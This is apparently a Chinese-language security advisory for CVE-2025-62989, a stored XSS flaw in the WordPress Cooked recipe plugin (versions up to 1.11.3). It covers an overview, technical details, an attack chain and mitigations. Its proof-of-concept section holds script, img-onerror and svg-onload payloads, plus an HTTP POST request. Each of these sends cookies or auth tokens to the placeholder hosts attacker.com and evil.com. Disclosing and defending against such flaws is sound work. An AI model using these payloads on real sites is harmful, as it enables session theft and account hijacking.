IPBUF安全漏洞报告
English
CVE-2025-62989 CVSS 5.9 中危

CVE-2025-62989 WordPress Cooked插件存储型XSS漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2025-62989
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
WordPress Cooked插件 (Gora Tech)

相关标签

CVE-2025-62989存储型XSSWordPress插件漏洞Cooked跨站脚本攻击Web应用安全内容管理漏洞会话劫持

漏洞概述

CVE-2025-62989是WordPress Cooked插件中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Cooked插件的1.11.3及以下所有版本中,由于应用程序在处理用户输入时未对特殊字符进行适当的HTML转义或过滤,导致恶意JavaScript代码可以被存储到服务器端。当其他用户访问包含恶意代码的页面时,攻击者注入的脚本将在受害者浏览器中执行,从而窃取会话令牌、劫持用户账户或进行其他恶意操作。Cooked是一款流行的WordPress食谱管理插件,允许用户创建和管理食谱内容。由于该插件在食品博客和内容网站中广泛使用,漏洞影响范围较大。攻击者需要具有高权限(如管理员或编辑角色)才能注入恶意代码,但一旦存储成功,所有访问相关页面的用户都会受到攻击。该漏洞的CVSS评分为5.9,属于中等严重程度,主要风险在于窃取用户凭证和进一步扩大攻击面。

技术细节

该存储型XSS漏洞源于Cooked插件在处理食谱内容时未对用户输入进行充分的输入验证和输出编码。攻击者可以利用插件的食谱创建或编辑功能,在食谱标题、描述、食材列表或烹饪步骤等字段中注入恶意JavaScript代码。由于插件未对这些字段进行HTML实体转义,恶意代码会被直接存储到数据库中。当其他用户访问该食谱页面时,服务器从数据库读取并输出这些未经过滤的内容,导致浏览器将其作为HTML/JavaScript执行。攻击向量为网络(AV:N),需要高权限(PR:H)才能注入代码,但攻击成功后影响范围广泛(S:C)。用户交互(UI:R)是必需的,因为需要受害者访问受感染的页面才能触发恶意脚本。攻击者通常利用此漏洞窃取管理员会话cookie,获取后台访问权限,或者通过社工方式进一步传播恶意内容。修复方案应在所有用户输入点实施严格的输入验证,并在所有输出点使用适当的编码函数(如htmlspecialchars)进行HTML实体转义。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的WordPress Cooked插件版本,确认版本<=1.11.3
STEP 2
权限获取
攻击者获取WordPress高权限账户(管理员或编辑),可通过凭据泄露、暴力破解或社工手段
STEP 3
恶意代码注入
攻击者登录后台,在Cooked插件的食谱创建/编辑页面中,在标题、描述或食材字段注入XSS恶意代码并发布
STEP 4
代码持久化
恶意代码被存储到数据库中,未经过滤的HTML/JavaScript代码与食谱内容一起保存
STEP 5
触发攻击
受害者访问包含恶意代码的食谱页面,浏览器解析并执行注入的JavaScript代码
STEP 6
数据窃取
恶意脚本窃取用户cookie、会话令牌或其他敏感信息,并发送到攻击者控制的服务器
STEP 7
账户劫持
攻击者利用窃取的凭证进行会话劫持,获取受害者账户的控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-62989 PoC: Stored XSS in WordPress Cooked Plugin --> <!-- Attack requires high privileges (admin/editor role) --> <!-- Method 1: Exploit via Recipe Title Field --> <script> fetch('https://attacker.com/log?cookie=' + document.cookie); </script> <!-- Method 2: Exploit via Recipe Description (Bypass with encoded payload) --> <img src=x onerror="fetch('https://attacker.com/log?c='+btoa(document.cookie))"> <!-- Method 3: Using Event Handlers --> <svg/onload=fetch('https://attacker.com/exfil?data='+localStorage.getItem('wp_auth'))> <!-- Exploitation Steps: 1. Login to WordPress with admin/editor privileges 2. Navigate to Cooked > Add New Recipe 3. Insert XSS payload in recipe title, description, or ingredients field 4. Publish/Save the recipe 5. Any user viewing the recipe page will execute the injected JavaScript --> <!-- Sample HTTP POST Request --> POST /wp-admin/admin.php?page=cooked-recipes&action=new HTTP/1.1 Host: target.com Cookie: [admin_cookie] Content-Type: application/x-www-form-urlencoded recipe_title=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>&recipe_description=Test&recipe_publish=1

影响范围

Cooked <= 1.11.3

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 限制Cooked插件的高权限用户数量,确保只有可信用户具有食谱创建权限;2) 在Web服务器层面配置Content-Security-Policy响应头,禁用内联脚本执行;3) 使用ModSecurity等WAF规则阻止包含<script>、<img>、<svg>等标签的请求;4) 对所有食谱内容实施HTML净化,移除所有脚本标签和事件处理器属性;5) 启用双因素认证增强管理账户安全;6) 监控日志及时发现异常请求和可疑脚本注入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表